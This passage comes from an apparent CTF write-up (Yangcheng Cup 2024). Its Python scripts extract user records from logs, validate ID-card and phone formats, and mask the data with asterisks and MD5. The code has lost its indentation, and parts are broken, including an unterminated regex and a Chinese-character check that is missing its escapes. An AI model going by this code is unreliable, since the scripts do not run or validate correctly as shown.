values=[url_decode(username),"password",url_decode(name),idcard,phone]
pwdmatch = re.search(r'\xe6\x82\xa8\xe7\x9a\x84\xe5\xaf\x86\xe7\xa0\x81\xe4\xb8\xba: .*?\', line)
if pwdmatch:
values[1] = pwdmatch.group()[62:-1]
with open("user.csv", 'a', newline='', encoding="utf-8") as f:
csv_writer = csv.writer(f)
if os.path.getsize("user.csv") == 0: # 如果csv文件为空,写入标题行
csv_writer.writerow(["username","password","name","idcard","phone"])
csv_writer.writerow(values)
对提取出的数据验证格式
import csv
import math
import re
def read_csv_file(file_path):
data = []
with open(file_path, 'r', encoding='utf-8') as file:
reader = csv.reader(file)
for row in reader:
data.append(row)
return data
def is_chinese_char(s):
for c in s:
if not(u'u4e00' <= c <= u'u9fa5'):
return False
return True
def is_all_number(s):
try:
float(s)
return True
except ValueError:
return False
def check_username(s):
return bool(re.match('^[a-zA-Z0-9]+$', s))
def check_id_card(id_card):
# 长度和格式校验
if len(id_card) != 18:
return False
W = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
check = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
sum = 0 # 前17位累加和
for i in range(0, 17):
sum += int(id_card[i]) * W[i]
if id_card[17] != check[sum % 11]:
return False
return True
def check_phone(s):
m =[734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789, 790, 791, 793, 799]
if len(s) != 11 or not is_all_number(s):
return False
if int(s[:3]) not in m:
return False
return True
# 读取csv文件,返回一个列表
file_path = r'./user.csv'
data_list = read_csv_file(file_path)
# print(data_list)
ans=[]
ans1=[['username', 'password','name', 'idcard', 'phone']]
for i in data_list:
if i[0] == "username":
ans.append(i)
continue
errnum=0
if not check_username(i[0]):
print("username error!!! : ",i)
errnum+=1
if not is_chinese_char(i[2]):
print("name error!!! : ",i)
errnum+=1
if not check_id_card(i[3]):
print("idcard error!!! : ",i)
errnum+=1
if not check_phone(i[4]):
print("phone error!!! : ",i)
errnum+=1
if errnum!=0:
ans.append(i)
else:
ans1.append(i)
with open("结果.csv", "w", newline="",encoding="utf-8") as f:
writer = csv.writer(f)
writer.writerows(ans)
with open("ans.csv", "w", newline="",encoding="utf-8") as f:
writer = csv.writer(f)
writer.writerows(ans1)
数据脱敏
import csv
import math
import re
import hashlib
def read_csv_file(file_path):
data = []
with open(file_path, 'r', encoding='utf-8') as file:
reader = csv.reader(file)
for row in reader:
data.append(row)
return data
def md5(data):
return hashlib.md5(str.encode(data)).hexdigest()
# 读取csv文件,返回一个列表
file_path = r'./ans.csv'
data_list = read_csv_file(file_path)
# print(data_list)
ans=[]
# temp=['username', 'password','name', 'idcard', 'phone']
for i in data_list:
temp=['username', 'password','name', 'idcard', 'phone']
if i[0] == "username":
ans.append(i)
continue
if len(i[0]) == 2:
temp[0]=i[0][0]+"*"
else:
temp[0]=i[0][0]+(len(i[0])-2)*'*'+i[0][-1]
temp[1] = md5(i[1])
if len(i[2]) == 2:
temp[2]=i[2][0]+"*"
else:
temp[2]=i[2][0]+(len(i[2])-2)*'*'+i[2][-1]
temp[3] = '*'*6+i[3][6:10]+'*'*8
temp[4] = i[4][:3]+"****"+i[4][-4:]
ans.append(temp)
with open("final.csv", "w", newline="",encoding="utf-8") as f:
writer = csv.writer(f)
writer.writerows(ans)
qq群码
原文始发于微信公众号(UKFC安全):UKFC2024 羊城杯WP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论